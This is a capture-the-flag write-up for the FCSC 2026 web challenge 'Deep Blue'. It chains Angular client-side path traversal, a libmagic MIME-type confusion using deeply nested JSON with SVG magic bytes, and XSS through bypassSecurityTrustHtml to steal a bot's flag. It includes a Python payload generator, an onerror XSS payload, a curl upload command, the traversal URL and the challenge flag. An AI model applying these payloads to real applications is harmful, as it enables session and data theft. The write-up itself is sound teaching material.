pwneglyph logo
web angular cspt client-side-path-traversal bypasssecuritytrusthtml innerhtml xss file-upload libmagic mime-confusion magic-bytes svg content-type-ignored httpclient cookie-theft puppeteer-bot

Angular fetches /api/.../{id}.json and renders it via bypassSecurityTrustHtml. Use client-side path traversal in the route id to redirect that fetch to an uploaded file, and a >500-deep JSON (with SVG magic bytes up front) to fool PHP's mime_content_type into accepting it as image/svg+xml while Angular still parses it as the article JSON — landing XSS that reads the bot's flag.

Deep Blue — Angular CSPT + libmagic JSON/SVG type confusion

CTF: FCSC 2026 · Category: Web (client-side) · Author: Mizu

Challenge overview

Layered stack: nginx → Apache (serving an Angular SPA + a PHP image API at /api/v1/image and /php). The bot holds an httpOnly FLAG cookie; the flag is returned by the image API only to a request carrying that cookie:

// image.php  (action=read)
$filename = basename($_GET['filename']);
if ($filename === 'secret-recipe.txt') {
    if (!isset($_COOKIE['FLAG']) || $_COOKIE['FLAG'] !== getenv('FLAG')) { http_response_code(403); ... }
    echo json_encode(['success'=>true, 'content'=>file_get_contents($filePath), 'flag'=>getenv('FLAG')]);
}

Cookie is httpOnly, so we need same-origin JS in the bot that does fetch('/api/v1/image?action=read&filename=secret-recipe.txt') and console.logs the flag (the bot relays console output).

The XSS sink: Angular bypassSecurityTrustHtml

The article component fetches a JSON file named after the route id and renders its content with bypassSecurityTrustHtml[innerHTML] — i.e. no sanitization:

// article.ts
trustHtml(html: string): SafeHtml { return this.sanitizer.bypassSecurityTrustHtml(html); }
this.route.params.subscribe(p => this.fetchArticle(p['id']));
this.http.get<ArticleData>(`/api/v3/blue/blog/articles/${id}.json`).subscribe(...)
@for (paragraph of article()!.content.split("\n\n"); track $index) {
  <p [innerHTML]="trustHtml(paragraph)"></p>
}

So if we control the JSON the component loads, its content becomes live HTML.

Step 1 — CSPT: redirect the article fetch

id flows unsanitized into the fetch path. Encoded backslash traversal plus a # to drop the appended .json makes Angular fetch an arbitrary endpoint:

/article/..%5C..%5C..%5C..%5Cv1%5Cimage%3Faction%3Dread%26filename%3D<FILE>.svg%23
->  GET /api/v1/image?action=read&filename=<FILE>.svg#.json

Angular's HttpClient ignores the response Content-Type and parses whatever comes back as JSON (by design — see angular/angular#36274). So if we can serve a file that is valid JSON, it becomes the article. (Intended solution used Angular matrix params instead: /article/x;id=..%2F..%2F... — same effect.)

Step 2 — upload a file that is "an image" to PHP but JSON to Angular

The uploader keys the saved extension off mime_content_type and only accepts image/*:

$mimeType = mime_content_type($tmpPath);          // libmagic
if (strpos($mimeType, 'image/') !== 0) { /* reject */ }
$ext = ['image/svg+xml'=>'svg', 'application/json'=>'json', ...][$mimeType] ?? 'bin';

We need one file that mime_content_type (libmagic) calls image/svg+xml but that is still valid JSON. libmagic gives up its JSON detector past ~500 nesting levels and falls back to scanning magic bytes — so a deeply nested JSON with SVG/XML markers near the front is detected as SVG, while remaining syntactically valid JSON:

def make_deep_nested(depth):
    v = "end"
    for _ in range(depth): v = [v]
    return v

payload = {
    "marker1": "<!DOCTYPE svg", "marker2": "<svg", "marker3": "<?xml version=\"1.0\"?>",
    "id": 1337, "title": "Deep Blue", "author": "cnf", "date": "...", "image": None,
    "content": "<img src=x onerror=\"fetch('/api/v1/image?action=read&filename=secret-recipe.txt').then(r=>r.json()).then(x=>console.log(x.flag))\">",
    "deep": make_deep_nested(650),
}

Upload it:

curl -i -F 'image=@payload.json' 'http://deep-blue/api/v1/image?action=upload'
# {"success":true,"id":"cbf4...","filename":"cbf4...f2.svg","mime":"image\/svg+xml"}

Step 3 — fire it at the bot

Point the bot at the CSPT URL referencing the uploaded .svg:

http://deep-blue-nginx/article/..%5C..%5C..%5C..%5Cv1%5Cimage%3Faction%3Dread%26filename%3Dcbf4...f2.svg%23

Angular fetches it, parses it as the article JSON, renders content via bypassSecurityTrustHtml → the <img onerror> runs in the bot's origin, reads secret-recipe.txt (its FLAG cookie is sent), and console.logs the flag:

FCSC{cf501ba6e28b6a8050f1c58c6ff1ebd7f24fe04ab03a7e84c82eb7819a1842c5}

Takeaways (generalized technique)

  • CSPT (Client-Side Path Traversal): a route/path value that flows into a client fetch() URL lets you redirect the request to another endpoint (traversal + # to drop a forced suffix; or Angular matrix params ;k=v). Combine with an upload to serve your own "data" file.
  • Angular HttpClient ignores Content-Type and parses the body per the declared TypeScript type — serve valid JSON regardless of how the server labels it.
  • bypassSecurityTrustHtml + [innerHTML] = a deliberate XSS sink; controlling the bound data is game over.
  • libmagic type confusion: deeply nested JSON (>~500 levels) defeats libmagic's JSON detector, so early magic bytes (<?xml, <svg, %PDF, …) decide the type — pass an upload image/* filter with a file that downstream code still treats as JSON/HTML.

Sources & references